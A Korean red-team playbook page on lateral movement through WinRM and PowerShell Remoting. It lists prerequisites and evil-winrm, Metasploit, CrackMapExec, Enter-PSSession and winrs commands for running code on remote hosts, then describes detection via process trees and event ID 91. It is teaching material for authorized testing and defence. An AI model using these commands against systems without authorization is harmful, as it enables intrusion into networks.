📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • 전제조건
  • 공격
  • 탐지/대응 방안
  • 레퍼런스
  1. 횡적 이동 (Lateral Movement)

WinRM / Powershell Remoting

WinRM (Windows Remote Management)는 윈도우의 WS-Management Protcol 구현이다. WS-Management SOAP (Simple Object Access Protocol)을 기반으로 각기 다른 밴더사에서 만들어낸 하드웨어와 운영체제가 소통할 수 있도록 해주는 프로토콜이다. 윈도우에서는 원격 호스트 코드/프로세스 실행을 위해서 자주 사용되고 있다.

윈도우에서 기본적으로 원격 호스트 코드/프로세스 실행을 위해서 WMI등의 기술이 존재했지만, 이는 많이 오래되기도 했고 (1996), 유저 친화적이지 않았기 때문에 WinRM이 집중적으로 조명받기 시작했다. WinRM은 추후 파워쉘 리모팅 (Powershell Remoting) 기술의 기반이 되기도 한다.

WinRM은 데브옵스 기술은 Ansible에서도 사용될 만큼 인프라 구축, 설정 등에서도 기본적으로 많이 사용된다. 윈도우 호스트에 WinRM이 기본적으로 설정되어 있지는 않지만, 왠만한 크기의 네트워크라면 WinRM이 기본적으로 사용되고 있다고 무방하다.

전제조건

  • 타겟 호스트의 로컬 관리자 권한.

  • 타겟 호스트의 포트 5985 (HTTP), 5986 (HTTPS) 이 오픈되어 있으며, WinRM 설정 되어있음.

  • 윈도우 워크스테이션 - 별도 설정 필요

  • 윈도우 서버 - 기본적으로 설치, 설정되어 있으며 포트가 열려있음

공격

WinRM 자체는 시스템 관리나 데브옵스에 이용되기 때문에 사실상 "공격"이라고 보기 어렵다. 공격자들 또한 시스어드민처럼 윈도우의 기능을 이용해 원격 호스트에 접근하고 있는 것이라고 봐야한다.

인터렉티브 쉘을 위해서는 evil-winrm나 Metasploit, 단순한 명령 실행을 위해서는 cme를 이용한다.

# evil-winrm 
apt install -y evil-winrm 
evil-winrm -i <FQDN/ip> -u <user> -p <pass> 

# Metasploit 
use auxiliary/scanner/winrm/winrm_login
set rhosts
set username
set password
set domain 
exploit 
sessions -l 

# CrackMapExec
cme winrm <IP/FQDN> -u <user> -p <pass> -d <domain> -X <파워쉘-명령어>

윈도우에서는 WinRM을 기반으로 만들어진 파워쉘 리모팅을 쓸수도 있고, WinRS LOLBAS 바이너리를 활용할 수도 있다.

# 파워쉘 리모팅 (Powershell Remoting) 
Enter-PSSession -ComputerName <IP/FQDN> -Credential <domain\user>

# WinRS 
winrs -r:<FQDN/Netbios> "<명령어>"
winrs -r:dc01.choi.local "cmd /c hostname"

탐지/대응 방안

WinRM 자체가 시스어드민/데브옵스에 실제로 사용되기 때문에 공격자들의 악성 행위를 탐지하기는 쉽지 않다. 단, WinRM이 실행 될때 어떤 프로세스가 실행되고, 그 프로세스들이 어떤 커맨드라인을 가진 다른 프로세스들을 실행하는지를 살펴보면 탐지/대응이 가능할 것이다.

WinRM은 타겟 호스트에 접근해 명령어를 실행할 때 다음과 같은 프로세스 트리를 생성한다:

  • WinrsHost.exe -> cmd.exe /C "<명령어>" -> 명령어로 실행된 프로세스

관련된 윈도우 이벤트 ID로는 91 - Windows Remote Management - Request Handling이 있다. 이는 이벤트 뷰어의Applications and Service logs -> Microsoft -> Windows -> Windows Remote Management -> Operational 에서 확인할 수 있다.

레퍼런스

PreviousWMINextRDP

Last updated 2 years ago

↔️
WinRM으로 부터 실행된 cmd.exe의 Process Create 1 이벤트 로그
Windows Remote Management - Win32 appsdocsmsft
Logo
winrsdocsmsft
Logo
Security considerations for PowerShell Remoting using WinRM - PowerShelldocsmsft
Logo
Detecting Lateral Movement via WinRM Using KQL - In.securityIn.security
Logo